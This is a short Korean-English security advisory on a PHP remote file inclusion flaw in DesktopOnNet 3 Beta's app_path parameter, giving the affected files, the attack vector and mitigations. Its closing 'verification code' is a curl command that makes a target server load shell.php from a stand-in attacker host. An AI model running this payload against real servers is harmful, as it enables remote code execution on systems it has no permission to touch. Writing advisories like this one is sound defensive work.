🇰🇷 한글 설명
DesktopOnNet 3 Beta의 원격 파일 포함(RFI) 취약점으로, app_path 매개변수를 통해 원격 서버의 PHP 파일을 로드하여 임의의 PHP 코드 실행이 가능합니다. don3_requiem.php와 frontpage.php 파일이 영향받으며, 인증 없이 공격 가능합니다.
💡 쉬운 설명
웹 애플리케이션이 사용자 입력을 검증하지 않고 외부 파일을 로드하는 버그입니다. 공격자가 악의적인 코드를 포함한 파일 경로를 입력하면 서버에서 그 코드가 실행됩니다.
🇺🇸 원문 (English)
Multiple PHP remote file inclusion vulnerabilities in DesktopOnNet 3 Beta allow remote attackers to execute arbitrary PHP code via a URL in the app_path parameter to (1) don3_requiem.don3app/don3_requiem.php and (2) frontpage.don3app/frontpage.php.
📍 영향받는 시스템
DesktopOnNet 3 Beta 및 이전 버전
⚔️ 공격 벡터
don3_requiem.don3app/don3_requiem.php 또는 frontpage.don3app/frontpage.php의 app_path 매개변수에 원격 PHP 파일 URL 전달
🛡️ 대응 방법
DesktopOnNet을 최신 패치 버전으로 업그레이드하거나 app_path 매개변수 검증 및 화이트리스트 적용
🔧 검증 코드
응답에서 파일 로드 시도 여부 확인 (에러 메시지나 외부 코드 실행 흔적이 있으면 취약함)
curl -s 'http://target/don3_requiem.don3app/don3_requiem.php?app_path=http://attacker.com/shell.php' | grep -i 'error\|warning\|success'